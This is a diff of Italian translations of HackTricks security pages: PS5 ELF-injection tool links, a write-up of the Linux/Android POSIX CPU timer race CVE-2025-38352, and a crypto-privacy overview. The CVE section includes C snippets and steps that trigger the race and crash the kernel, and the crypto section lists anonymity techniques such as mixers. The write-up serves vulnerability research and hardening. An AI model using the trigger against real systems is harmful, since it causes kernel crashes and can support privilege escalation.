+- PS5 SDK (dynamic linking, kernel R/W wrappers, vm_map helpers): https://github.com/ps5-payload-dev/sdk
+- ELF loader: https://github.com/ps5-payload-dev/elfldr
+- Injector server: https://github.com/buzzer-re/NineS/
+- Utilities/vm_map helpers: https://github.com/buzzer-re/playstation_research_utils
+- Related projects: https://github.com/OpenOrbis/mira-project, https://github.com/ps5-payload-dev/gdbsrv
+
+## Riferimenti
+
+- [Usermode ELF injection on the PlayStation 5](https://reversing.codes/posts/PlayStation-5-ELF-Injection/)
+- [ps5-payload-dev/sdk](https://github.com/ps5-payload-dev/sdk)
+- [ps5-payload-dev/elfldr](https://github.com/ps5-payload-dev/elfldr)
+- [buzzer-re/NineS](https://github.com/buzzer-re/NineS/)
+- [playstation_research_utils](https://github.com/buzzer-re/playstation_research_utils)
+- [Mira](https://github.com/OpenOrbis/mira-project)
+- [gdbsrv](https://github.com/ps5-payload-dev/gdbsrv)
+- [FreeBSD klog reference](https://lists.freebsd.org/pipermail/freebsd-questions/2006-October/134233.html)
+
+{{#include ../banners/hacktricks-training.md}}

src/binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md

@@ -1,19 +1,19 @@
 # POSIX CPU Timers TOCTOU race (CVE-2025-38352)
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
 
-Questa pagina documenta una condizione di TOCTOU in Linux/Android POSIX CPU timers che può corrompere lo stato del timer e causare il crash del kernel, e in alcune circostanze può essere indirizzata verso privilege escalation.
+Questa pagina documenta una TOCTOU race condition in Linux/Android POSIX CPU timers che può corrompere lo stato del timer e causare il crash del kernel, e in alcune circostanze può essere indirizzata verso privilege escalation.
 
-- Affected component: kernel/time/posix-cpu-timers.c
-- Primitiva: race di expiry vs deletion durante la terminazione del task
+- Componente interessato: kernel/time/posix-cpu-timers.c
+- Primitiva: expiry vs deletion race under task exit
 - Dipende dalla configurazione: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
 
-Breve riepilogo interno (rilevante per exploitation)
-- Tre clock della CPU gestiscono la contabilizzazione per i timer tramite cpu_clock_sample():
+Breve riepilogo internals (relevant for exploitation)
+- Tre clock CPU gestiscono la contabilizzazione per i timer tramite cpu_clock_sample():
 - CPUCLOCK_PROF: utime + stime
-- CPUCLOCK_VIRT: utime solo
+- CPUCLOCK_VIRT: utime only
 - CPUCLOCK_SCHED: task_sched_runtime()
-- La creazione del timer collega un timer a un task/pid e inizializza i nodi della timerqueue:
+- La creazione del timer wiringa un timer a un task/pid e inizializza i nodi della timerqueue:
 ```c
 static int posix_cpu_timer_create(struct k_itimer *new_timer) {
 struct pid *pid;
@@ -50,7 +50,7 @@ return true;
 return false;
 }
 ```
-- Expiration raccoglie i timer scaduti, li marca come in fase di attivazione, li sposta fuori dalla coda; la consegna effettiva è differita:
+- La scadenza raccoglie i timer scaduti, li marca come in fase di attivazione, li rimuove dalla coda; la consegna effettiva è differita:
 ```c
 #define MAX_COLLECTED 20
 static u64 collect_timerqueue(struct timerqueue_head *head,
@@ -69,8 +69,8 @@ return U64_MAX;
 }
 ```
 Due modalità di elaborazione delle scadenze
-- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: la scadenza viene differita tramite task_work sul task di destinazione
-- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: la scadenza è gestita direttamente in contesto IRQ
+- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: la scadenza viene rinviata tramite task_work sul task di destinazione
+- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: la scadenza viene gestita direttamente nel contesto IRQ
 ```c
 void run_posix_cpu_timers(void) {
 struct task_struct *tsk = current;
@@ -114,45 +114,44 @@ spin_unlock(&timer->it_lock);
 }
 }
 ```
-Causa principale: TOCTOU tra IRQ-time expiry e cancellazione concorrente durante l'uscita del task
-
+Causa principale: TOCTOU tra scadenza in IRQ e cancellazione concorrente durante l'uscita del task
 Precondizioni
-- CONFIG_POSIX_CPU_TIMERS_TASK_WORK è disabilitato (IRQ path in use)
-- Il task target sta uscendo ma non è stato completamente reaped
-- Un altro thread invoca concorrentemente posix_cpu_timer_del() per lo stesso timer
+- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use)
+- The target task is exiting but not fully reaped
+- Another thread concurrently calls posix_cpu_timer_del() for the same timer
 
 Sequenza
-1) update_process_times() attiva run_posix_cpu_timers() in IRQ context per il task in uscita.
-2) collect_timerqueue() imposta ctmr->firing = 1 e sposta il timer nella temporary firing list.
-3) handle_posix_cpu_timers() rilascia sighand tramite unlock_task_sighand() per consegnare i timer al di fuori del lock.
-4) Immediatamente dopo l'unlock, il task in uscita può essere reaped; un thread sibling esegue posix_cpu_timer_del().
-5) In questa finestra, posix_cpu_timer_del() può fallire nell'acquisire lo stato tramite cpu_timer_task_rcu()/lock_task_sighand() e quindi saltare la normale in-flight guard che verifica timer->it.cpu.firing. La cancellazione procede come se non fosse firing, corrompendo lo stato mentre l'expiry viene gestito, portando a crash/UB.
+1) update_process_times() triggers run_posix_cpu_timers() in IRQ context for the exiting task.
+2) collect_timerqueue() imposta ctmr->firing = 1 e sposta il timer nella lista temporanea di firing.
+3) handle_posix_cpu_timers() rilascia sighand tramite unlock_task_sighand() per consegnare i timer fuori dal lock.
+4) Immediatamente dopo l'unlock, il task in uscita può essere reaped; un thread fratello esegue posix_cpu_timer_del().
+5) In questa finestra, posix_cpu_timer_del() può non riuscire ad acquisire lo stato tramite cpu_timer_task_rcu()/lock_task_sighand() e quindi saltare la normale protezione in-flight che controlla timer->it.cpu.firing. La cancellazione procede come se non fosse in firing, corrompendo lo stato mentre la scadenza è in corso, portando a crash/UB.
 
-Perché TASK_WORK mode è sicuro per progettazione
-- Con CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, expiry viene differito a task_work; exit_task_work viene eseguito prima di exit_notify, quindi l'overlap IRQ-time con il reaping non si verifica.
-- Anche in quel caso, se il task sta già exiting, task_work_add() fallisce; il gating su exit_state rende entrambe le modalità coerenti.
+Perché la modalità TASK_WORK è sicura per progettazione
+- Con CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, la scadenza è differita a task_work; exit_task_work viene eseguito prima di exit_notify, quindi non si verifica la sovrapposizione in IRQ con il reaping.
+- Anche in quel caso, se il task sta già uscendo, task_work_add() fallisce; il gating su exit_state rende entrambe le modalità coerenti.
 
 Fix (Android common kernel) e motivazione
-- Aggiungere un early return se il task corrente è in exiting, condizionando tutta l'elaborazione:
+- Aggiungere un early return se il task corrente è in uscita, condizionando tutta l'elaborazione:
 ```c
 // kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
 if (tsk->exit_state)
 return;
 ```
-- Questo impedisce l'ingresso in handle_posix_cpu_timers() per i task in uscita, eliminando la finestra in cui posix_cpu_timer_del() potrebbe non rilevare it.cpu.firing e competere con l'elaborazione della scadenza.
+- Questo impedisce l'entrata in handle_posix_cpu_timers() per i task in uscita, eliminando la finestra in cui posix_cpu_timer_del() potrebbe mancare it.cpu.firing e race con l'elaborazione della scadenza.
 
-Impatto
-- La corruzione della memoria del kernel delle strutture dei timer durante scadenza/eliminazione concorrente può causare crash immediati (DoS) ed è una potente primitiva verso privilege escalation grazie alle opportunità di manipolazione arbitraria dello stato del kernel.
+Impact
+- La corruzione della memoria del kernel delle strutture timer durante scadenza/cancellazione concorrente può causare crash immediati (DoS) ed è un primitivo potente per l'escalation dei privilegi grazie alle opportunità di manipolazione arbitraria dello stato del kernel.
 
-Innescare il bug (condizioni sicure e riproducibili)
+Triggering the bug (safe, reproducible conditions)
 Build/config
-- Ensure CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n and use a kernel without the exit_state gating fix.
+- Assicurati che CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n e usa un kernel senza la correzione del gating exit_state.
 
-Strategia di runtime
-- Mirare a un thread che sta per terminare e associare un CPU timer ad esso (per-thread o process-wide):
-- For per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
-- For process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
-- Impostare una scadenza iniziale molto breve e un intervallo piccolo per massimizzare le entrate nel IRQ-path:
+Runtime strategy
+- Seleziona un thread che sta per terminare e associa a esso un CPU timer (per-thread o process-wide clock):
+- Per per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
+- Per process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
+- Arma con una scadenza iniziale molto breve e un intervallo piccolo per massimizzare le entrate nel percorso IRQ:
 ```c
 static timer_t t;
 static void setup_cpu_timer(void) {
@@ -166,31 +165,31 @@ its.it_interval.tv_nsec = 1;        // re-fire
 if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
 }
 ```
-- Da un sibling thread, elimina contemporaneamente lo stesso timer mentre il target thread esce:
+- Da un thread fratello, eliminare contemporaneamente lo stesso timer mentre il thread di destinazione termina:
 ```c
 void *deleter(void *arg) {
 for (;;) (void)timer_delete(t);     // hammer delete in a loop
 }
 ```
-- Fattori che amplificano la race condition: high scheduler tick rate, CPU load, repeated thread exit/re-create cycles. Il crash tipicamente si manifesta quando posix_cpu_timer_del() salta la notifica del firing a causa del fallimento nella lookup/locking del task subito dopo unlock_task_sighand().
+- Fattori che amplificano la race: alta frequenza dei tick dello scheduler, carico CPU, cicli ripetuti di exit/re-create dei thread. Il crash tipicamente si manifesta quando posix_cpu_timer_del() non rileva il firing a causa del fallimento del lookup/lock del task subito dopo unlock_task_sighand().
 
-Detection and hardening
-- Mitigazione: applicare l'exit_state guard; preferire l'attivazione di CONFIG_POSIX_CPU_TIMERS_TASK_WORK quando possibile.
-- Osservabilità: aggiungere tracepoints/WARN_ONCE intorno a unlock_task_sighand()/posix_cpu_timer_del(); generare alert quando it.cpu.firing==1 viene osservato insieme al fallimento di cpu_timer_task_rcu()/lock_task_sighand(); monitorare inconsistenze della timerqueue durante l'uscita del task.
+Rilevamento e hardening
+- Mitigazione: applicare la exit_state guard; preferire l'abilitazione di CONFIG_POSIX_CPU_TIMERS_TASK_WORK quando possibile.
+- Osservabilità: aggiungere tracepoints/WARN_ONCE attorno a unlock_task_sighand()/posix_cpu_timer_del(); generare alert quando it.cpu.firing==1 è osservato insieme a fallimenti di cpu_timer_task_rcu()/lock_task_sighand(); monitorare eventuali incongruenze nella timerqueue attorno all'exit del task.
 
-Audit hotspots (for reviewers)
+Audit hotspots (per i revisori)
 - update_process_times() → run_posix_cpu_timers() (IRQ)
 - __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path)
 - collect_timerqueue(): sets ctmr->firing and moves nodes
 - handle_posix_cpu_timers(): drops sighand before firing loop
 - posix_cpu_timer_del(): relies on it.cpu.firing to detect in-flight expiry; this check is skipped when task lookup/lock fails during exit/reap
 
-Notes for exploitation research
-- Il comportamento divulgato è una primitiva affidabile per il crash del kernel; trasformarlo in una privilege escalation richiede tipicamente un'ulteriore sovrapposizione controllabile (object lifetime o write-what-where influence) al di fuori dello scopo di questo sommario. Trattare qualsiasi PoC come potenzialmente destabilizzante ed eseguirlo solo in emulators/VMs.
+Note per la ricerca su exploitation
+- Il comportamento divulgato è un primitivo affidabile per far crashare il kernel; trasformarlo in privilege escalation di solito richiede un overlap controllabile aggiuntivo (lifetime di oggetti o write-what-where) oltre lo scopo di questo riassunto. Trattare qualsiasi PoC come potenzialmente destabilizzante ed eseguirlo solo in emulatori/VM.
 
-## Riferimenti
+## References
 - [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
 - [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
 - [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}

src/blockchain/blockchain-and-crypto-currencies/README.md

@@ -2,100 +2,100 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Concetti di base
+## Concetti di Base
 
-- **Smart Contracts** sono definiti come programmi che vengono eseguiti su una blockchain quando sono soddisfatte determinate condizioni, automatizzando l'esecuzione di accordi senza intermediari.
-- **Decentralized Applications (dApps)** si basano su smart contract, presentando un front-end con interfaccia utente intuitiva e un back-end trasparente e verificabile.
-- **Tokens & Coins** differenziano: le coin fungono da moneta digitale, mentre i token rappresentano valore o proprietà in contesti specifici.
-- **Utility Tokens** danno accesso a servizi, e i **Security Tokens** indicano la proprietà di un asset.
+- **Smart Contracts** sono definiti come programmi che vengono eseguiti su una blockchain quando vengono soddisfatte certe condizioni, automatizzando l'esecuzione di accordi senza intermediari.
+- **Decentralized Applications (dApps)** si basano sugli smart contract, presentando un front-end user-friendly e un back-end trasparente e verificabile.
+- **Tokens & Coins** si distinguono nel fatto che le coin fungono da denaro digitale, mentre i token rappresentano valore o proprietà in contesti specifici.
+- **Utility Tokens** concedono accesso a servizi, e **Security Tokens** indicano la proprietà di un asset.
 - **DeFi** sta per Decentralized Finance, offrendo servizi finanziari senza autorità centrali.
 - **DEX** e **DAOs** si riferiscono rispettivamente a Decentralized Exchange Platforms e Decentralized Autonomous Organizations.
 
-## Meccanismi di consenso
+## Meccanismi di Consenso
 
-I meccanismi di consenso assicurano la validazione sicura e concordata delle transazioni sulla blockchain:
+I meccanismi di consenso garantiscono validazioni di transazione sicure e concordate sulla blockchain:
 
-- **Proof of Work (PoW)** si basa sulla potenza computazionale per la verifica delle transazioni.
+- **Proof of Work (PoW)** si basa sulla potenza di calcolo per la verifica delle transazioni.
 - **Proof of Stake (PoS)** richiede che i validator detengano una certa quantità di token, riducendo il consumo energetico rispetto al PoW.
 
-## Nozioni essenziali su Bitcoin
+## Nozioni Essenziali su Bitcoin
 
 ### Transazioni
 
-Le transazioni Bitcoin coinvolgono il trasferimento di fondi tra indirizzi. Le transazioni sono validate tramite firme digitali, garantendo che solo il proprietario della chiave privata possa iniziare i trasferimenti.
+Le transazioni Bitcoin implicano il trasferimento di fondi tra indirizzi. Le transazioni sono validate tramite firme digitali, assicurando che solo il proprietario della chiave privata possa avviare trasferimenti.
 
-#### Componenti chiave:
+#### Componenti Chiave:
 
 - **Multisignature Transactions** richiedono più firme per autorizzare una transazione.
-- Le transazioni sono composte da **inputs** (fonte dei fondi), **outputs** (destinazione), **fees** (pagate ai miner) e **scripts** (regole della transazione).
+- Le transazioni consistono di **inputs** (origine dei fondi), **outputs** (destinazione), **fees** (pagate ai miner) e **scripts** (regole della transazione).
 
 ### Lightning Network
 
-Punta a migliorare la scalabilità di Bitcoin permettendo molteplici transazioni all'interno di un canale, trasmettendo alla blockchain solo lo stato finale.
+Ha lo scopo di migliorare la scalabilità di Bitcoin permettendo molteplici transazioni all'interno di un canale, pubblicando sulla blockchain solo lo stato finale.
 
-## Preoccupazioni sulla privacy di Bitcoin
+## Problemi di Privacy in Bitcoin
 
-Gli attacchi alla privacy, come **Common Input Ownership** e **UTXO Change Address Detection**, sfruttano i modelli di transazione. Strategie come **Mixers** e **CoinJoin** migliorano l'anonimato oscurando i collegamenti tra le transazioni degli utenti.
+Gli attacchi alla privacy, come **Common Input Ownership** e **UTXO Change Address Detection**, sfruttano pattern nelle transazioni. Strategie come **Mixers** e **CoinJoin** migliorano l'anonimato oscurando i collegamenti tra le transazioni degli utenti.
 
-## Acquisire Bitcoin in modo anonimo
+## Come Acquisire Bitcoin in Modo Anonimo
 
-I metodi includono scambi in contanti, mining e l'uso di mixers. **CoinJoin** mescola più transazioni per rendere più complicata la tracciabilità, mentre **PayJoin** camuffa i CoinJoin come transazioni normali per una maggiore privacy.
+I metodi includono scambi in contanti, mining e l'uso di mixers. **CoinJoin** miscela più transazioni per complicare la tracciabilità, mentre **PayJoin** camuffa i CoinJoin come transazioni ordinarie per una privacy maggiore.
 
-# Bitcoin Privacy Atacks
+# Attacchi alla Privacy di Bitcoin
 
-# Riepilogo degli attacchi alla privacy di Bitcoin
+# Sommario degli Attacchi alla Privacy di Bitcoin
 
-Nel mondo di Bitcoin, la privacy delle transazioni e l'anonimato degli utenti sono spesso motivo di preoccupazione. Ecco una panoramica semplificata di diversi metodi comuni con cui gli attaccanti possono compromettere la privacy su Bitcoin.
+Nel mondo di Bitcoin, la privacy delle transazioni e l'anonimato degli utenti sono spesso motivo di preoccupazione. Ecco una panoramica semplificata di alcuni metodi comuni tramite i quali un attaccante può compromettere la privacy su Bitcoin.
 
 ## **Common Input Ownership Assumption**
 
-È generalmente raro che inputs provenienti da utenti diversi vengano combinati in un'unica transazione a causa della complessità implicata. Pertanto, **due indirizzi di input nella stessa transazione sono spesso considerati appartenenti allo stesso proprietario**.
+È generalmente raro che input di utenti differenti siano combinati in una singola transazione a causa della complessità coinvolta. Quindi, **due indirizzi input nella stessa transazione sono spesso assunti appartenere allo stesso proprietario**.
 
 ## **UTXO Change Address Detection**
 
-Un UTXO, o **Unspent Transaction Output**, deve essere speso interamente in una transazione. Se solo una parte viene inviata a un altro indirizzo, il resto va a un nuovo change address. Gli osservatori possono presumere che questo nuovo indirizzo appartenga al mittente, compromettendo la privacy.
+Un UTXO, o **Unspent Transaction Output**, deve essere speso interamente in una transazione. Se ne viene inviato solo in parte a un altro indirizzo, il resto va a un nuovo change address. Gli osservatori possono assumere che questo nuovo indirizzo appartenga al mittente, compromettendo la privacy.
 
 ### Esempio
 
-Per mitigare questo, i servizi di mixing o l'uso di più indirizzi possono aiutare a oscurare la proprietà.
+Per mitigare questo problema, servizi di mixing o l'uso di più indirizzi possono aiutare a oscurare la proprietà.
 
-## **Esposizione su social network e forum**
+## **Esposizione tramite Social Network & Forum**
 
 Gli utenti a volte condividono i loro indirizzi Bitcoin online, rendendo **facile collegare l'indirizzo al suo proprietario**.
 
 ## **Transaction Graph Analysis**
 
-Le transazioni possono essere visualizzate come grafi, rivelando potenziali connessioni tra utenti basate sul flusso di fondi.
+Le transazioni possono essere visualizzate come grafi, rivelando possibili connessioni tra utenti basate sul flusso di fondi.
 
 ## **Unnecessary Input Heuristic (Optimal Change Heuristic)**
 
-Questa euristica si basa sull'analisi di transazioni con multipli input e output per indovinare quale output sia il change che ritorna al mittente.
+Questa euristica si basa sull'analisi di transazioni con multiple input e output per indovinare quale output sia il change che ritorna al mittente.
 
 ### Esempio
 ```bash
 2 btc --> 4 btc
 3 btc     1 btc
 ```
-Se aggiungere più input fa sì che l'output di resto sia più grande di qualsiasi singolo input, può confondere l'euristica.
+Se l'aggiunta di più input fa sì che il change output sia più grande di qualunque singolo input, può confondere l'euristica.
 
 ## **Forced Address Reuse**
 
-Gli attaccanti possono inviare piccole quantità a indirizzi già usati, sperando che il destinatario le combini con altri input in transazioni future, collegando così gli indirizzi tra loro.
+Gli aggressori possono inviare piccole somme a indirizzi già usati, sperando che il destinatario combini questi importi con altri input in transazioni future, collegando così insieme gli indirizzi.
 
 ### Correct Wallet Behavior
 
-I wallet dovrebbero evitare di usare monete ricevute su indirizzi vuoti già usati per prevenire questo privacy leak.
+I wallet dovrebbero evitare di usare monete ricevute su indirizzi già utilizzati e vuoti per prevenire questa privacy leak.
 
 ## **Other Blockchain Analysis Techniques**
 
-- **Exact Payment Amounts:** Le transazioni senza resto sono probabilmente tra due indirizzi appartenenti allo stesso utente.
-- **Round Numbers:** Un numero tondo in una transazione suggerisce che si tratta di un pagamento, con l'output non tondo probabilmente costituito dal resto.
-- **Wallet Fingerprinting:** Diversi wallet hanno modelli unici di creazione delle transazioni, permettendo agli analisti di identificare il software usato e potenzialmente l'indirizzo di resto.
-- **Amount & Timing Correlations:** Rivelare orari o importi delle transazioni può renderle tracciabili.
+- **Exact Payment Amounts:** Le transazioni senza change sono probabilmente tra due indirizzi posseduti dallo stesso utente.
+- **Round Numbers:** Un numero tondo in una transazione suggerisce che sia un pagamento, con l'output non-tondo probabilmente il change.
+- **Wallet Fingerprinting:** Different wallets have unique transaction creation patterns, allowing analysts to identify the software used and potentially the change address.
+- **Amount & Timing Correlations:** Divulgare gli orari o gli importi delle transazioni può renderle tracciabili.
 
 ## **Traffic Analysis**
 
-Monitorando il traffico di rete, gli attaccanti possono potenzialmente collegare transazioni o blocchi a indirizzi IP, compromettendo la privacy degli utenti. Questo è particolarmente vero se un'entità gestisce molti nodi Bitcoin, migliorando la sua capacità di monitorare le transazioni.
+Monitorando il traffico di rete, gli aggressori possono potenzialmente collegare transazioni o blocchi ad indirizzi IP, compromettendo la privacy degli utenti. Questo è particolarmente vero se un'entità gestisce molti nodi Bitcoin, aumentando la sua capacità di monitorare le transazioni.
 
 ## More
 
@@ -105,56 +105,56 @@ Per un elenco completo di attacchi alla privacy e contromisure, visita [Bitcoin
 
 ## Ways to Get Bitcoins Anonymously
 
-- **Cash Transactions**: Ottenere bitcoin tramite contanti.
-- **Cash Alternatives**: Acquistare gift card e scambiarle online per bitcoin.
-- **Mining**: Il metodo più privato per guadagnare bitcoin è il mining, specialmente se fatto in solitaria, perché i mining pool possono conoscere l'indirizzo IP del miner. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
-- **Theft**: Teoricamente, rubare bitcoin potrebbe essere un altro metodo per acquisirli in modo anonimo, anche se è illegale e non consigliato.
+- **Cash Transactions**: Acquisire bitcoin in contanti.
+- **Cash Alternatives**: Acquistare carte regalo e cambiarle online per bitcoin.
+- **Mining**: Il metodo più privato per guadagnare bitcoin è il mining, specialmente se fatto da soli, perché i mining pool possono conoscere l'IP del miner. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
+- **Theft**: Teoricamente, rubare bitcoin potrebbe essere un altro metodo per ottenerli in modo anonimo, sebbene sia illegale e non consigliato.
 
 ## Mixing Services
 
-Usando un mixing service, un utente può **send bitcoins** e **receive different bitcoins in return**, rendendo difficile tracciare il proprietario originale. Tuttavia, questo richiede fiducia nel servizio affinché non tenga log e che restituisca effettivamente i bitcoin. Opzioni alternative di mixing includono i casinò Bitcoin.
+Usando un servizio di mixing, un utente può **inviare bitcoin** e ricevere **bitcoin diversi in cambio**, il che rende difficile rintracciare il proprietario originale. Tuttavia, questo richiede fiducia nel servizio a non conservare log e a restituire effettivamente i bitcoin. Opzioni alternative di mixing includono casinò Bitcoin.
 
 ## CoinJoin
 
-**CoinJoin** fonde più transazioni provenienti da utenti diversi in una sola, complicando il processo per chiunque cerchi di associare input e output. Nonostante la sua efficacia, le transazioni con dimensioni uniche di input e output possono comunque essere potenzialmente tracciate.
+CoinJoin unisce più transazioni di diversi utenti in una sola, complicando il lavoro di chi cerca di abbinare input a output. Nonostante la sua efficacia, transazioni con dimensioni uniche di input e output possono comunque essere tracciate.
 
 Esempi di transazioni che potrebbero aver usato CoinJoin includono `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` e `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
 
-Per maggiori informazioni, visita [CoinJoin](https://coinjoin.io/en). Per un servizio simile su Ethereum, vedi [Tornado Cash](https://tornado.cash), che anonimizza le transazioni con fondi provenienti dai miner.
+Per maggiori informazioni, visita [CoinJoin](https://coinjoin.io/en). Per un servizio simile su Ethereum, vedi [Tornado Cash](https://tornado.cash), che anonimizza le transazioni con fondi dai miner.
 
 ## PayJoin
 
-Una variante di CoinJoin, **PayJoin** (o P2EP), maschera la transazione tra due parti (es. un cliente e un commerciante) come una normale transazione, senza gli output uguali distintivi tipici di CoinJoin. Questo la rende estremamente difficile da rilevare e potrebbe invalidare l'euristica common-input-ownership usata dalle entità di sorveglianza delle transazioni.
+Una variante di CoinJoin, PayJoin (o P2EP), camuffa la transazione tra due parti (es. cliente e commerciante) come una normale transazione, senza i distintivi output uguali caratteristici di CoinJoin. Questo la rende estremamente difficile da rilevare e potrebbe invalidare la common-input-ownership heuristic usata dalle entità di sorveglianza delle transazioni.
 ```plaintext
 2 btc --> 3 btc
 5 btc     4 btc
 ```
-Transazioni come quella sopra potrebbero essere PayJoin, migliorando la privacy pur rimanendo indistinguibili dalle transazioni bitcoin standard.
+Transazioni come quelle sopra potrebbero essere PayJoin, migliorando la privacy pur rimanendo indistinguibili dalle transazioni standard di bitcoin.
 
-**L'utilizzo di PayJoin potrebbe interrompere significativamente i metodi tradizionali di sorveglianza**, rendendolo uno sviluppo promettente nella ricerca della privacy transazionale.
+**L'utilizzo di PayJoin potrebbe mettere a dura prova i metodi di sorveglianza tradizionali**, rendendolo uno sviluppo promettente nella ricerca della privacy nelle transazioni.
 
-# Pratiche consigliate per la privacy nelle criptovalute
+# Best Practices per la privacy nelle criptovalute
 
 ## **Tecniche di sincronizzazione del wallet**
 
-Per mantenere privacy e sicurezza, sincronizzare i wallet con la blockchain è fondamentale. Due metodi si distinguono:
+Per mantenere privacy e sicurezza, sincronizzare i wallet con la blockchain è cruciale. Risaltano due metodi:
 
-- **Full node**: Scaricando l'intera blockchain, un nodo completo garantisce la massima privacy. Tutte le transazioni effettuate sono memorizzate localmente, rendendo impossibile per gli avversari identificare quali transazioni o indirizzi interessano all'utente.
-- **Client-side block filtering**: Questo metodo prevede la creazione di filtri per ogni blocco della blockchain, permettendo ai wallet di identificare le transazioni rilevanti senza esporre interessi specifici agli osservatori di rete. I wallet leggeri scaricano questi filtri, recuperando i blocchi completi solo quando c'è una corrispondenza con gli indirizzi dell'utente.
+- **Full node**: Scaricando l'intera blockchain, un full node garantisce la massima privacy. Tutte le transazioni mai effettuate sono memorizzate localmente, rendendo impossibile per gli avversari identificare quali transazioni o indirizzi interessano l'utente.
+- **Client-side block filtering**: Questo metodo prevede la creazione di filtri per ogni blocco della blockchain, permettendo ai wallet di identificare le transazioni rilevanti senza esporre interessi specifici agli osservatori della rete. I wallet leggeri scaricano questi filtri, recuperando i blocchi completi solo quando viene trovata una corrispondenza con gli indirizzi dell'utente.
 
-## **Utilizzo di Tor per l'anonimato**
+## **Utilizzare Tor per l'anonimato**
 
-Poiché Bitcoin opera su una rete peer-to-peer, si raccomanda l'uso di Tor per mascherare il proprio indirizzo IP, migliorando la privacy durante l'interazione con la rete.
+Dato che Bitcoin opera su una rete peer-to-peer, è consigliato usare Tor per mascherare il proprio indirizzo IP, migliorando la privacy durante l'interazione con la rete.
 
 ## **Evitare il riutilizzo degli indirizzi**
 
-Per proteggere la privacy, è fondamentale usare un nuovo indirizzo per ogni transazione. Il riutilizzo degli indirizzi può compromettere la privacy collegando transazioni alla stessa entità. I wallet moderni scoraggiano il riutilizzo degli indirizzi tramite il loro design.
+Per tutelare la privacy, è fondamentale usare un nuovo indirizzo per ogni transazione. Il riutilizzo degli indirizzi può compromettere la privacy collegando le transazioni alla stessa entità. I wallet moderni scoraggiano il riutilizzo degli indirizzi tramite il loro design.
 
 ## **Strategie per la privacy delle transazioni**
 
-- **Più transazioni**: Suddividere un pagamento in diverse transazioni può oscurare l'importo trasferito, contrastando attacchi alla privacy.
-- **Evitare output di resto**: Scegliere transazioni che non richiedono output di resto aumenta la privacy interrompendo i metodi di rilevamento del change.
-- **Più output di resto**: Se evitare il resto non è fattibile, generare più output di resto può comunque migliorare la privacy.
+- **Transazioni multiple**: Suddividere un pagamento in più transazioni può oscurare l'importo, contrastando gli attacchi alla privacy.
+- **Evitare gli output di resto**: Scegliere transazioni che non richiedono output di resto aumenta la privacy interrompendo i metodi di rilevamento del resto.
+- **Molteplici output di resto**: Se evitare il resto non è possibile, generare molteplici output di resto può comunque migliorare la privacy.
 
 # **Monero: Un faro di anonimato**
 
@@ -164,15 +164,23 @@ Monero risponde alla necessità di anonimato assoluto nelle transazioni digitali
 
 ## **Comprendere il Gas**
 
-Il gas misura lo sforzo computazionale necessario per eseguire operazioni su Ethereum, prezzato in **gwei**. Ad esempio, una transazione che costa 2.310.000 gwei (o 0.00231 ETH) coinvolge un gas limit e una base fee, con una tip per incentivare i miner. Gli utenti possono impostare una max fee per assicurarsi di non pagare troppo; l'eccesso viene rimborsato.
+Il gas misura lo sforzo computazionale necessario per eseguire operazioni su Ethereum, prezzato in **gwei**. Ad esempio, una transazione che costa 2,310,000 gwei (o 0.00231 ETH) comporta un gas limit e una base fee, con una tip per incentivare i minatori. Gli utenti possono impostare una max fee per assicurarsi di non pagare troppo, con l'eccesso rimborsato.
 
 ## **Esecuzione delle transazioni**
 
-Le transazioni su Ethereum coinvolgono un mittente e un destinatario, che possono essere indirizzi utente o smart contract. Richiedono una fee e devono essere minate. Le informazioni essenziali in una transazione includono il destinatario, la firma del mittente, il valore, eventuali dati opzionali, il gas limit e le fee. Nota che l'indirizzo del mittente è dedotto dalla firma, eliminando la necessità di includerlo nei dati della transazione.
+Le transazioni in Ethereum coinvolgono un mittente e un destinatario, che possono essere indirizzi utente o smart contract. Richiedono una fee e devono essere minate. Le informazioni essenziali in una transazione includono il destinatario, la firma del mittente, il valore, dati opzionali, gas limit e fee. Notare che l'indirizzo del mittente viene dedotto dalla firma, eliminando la necessità di includerlo nei dati della transazione.
 
-Queste pratiche e meccanismi sono fondamentali per chiunque desideri interagire con le criptovalute dando priorità a privacy e sicurezza.
+Queste pratiche e meccanismi sono fondamentali per chiunque voglia interagire con le criptovalute dando priorità alla privacy e alla sicurezza.
 
-## Riferimenti
+## Smart Contract Security
+
+- Mutation testing to find blind spots in test suites:
+
+{{#ref}}
+../smart-contract-security/mutation-testing-with-slither.md
+{{#endref}}
+
+## References
 
 - [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake)
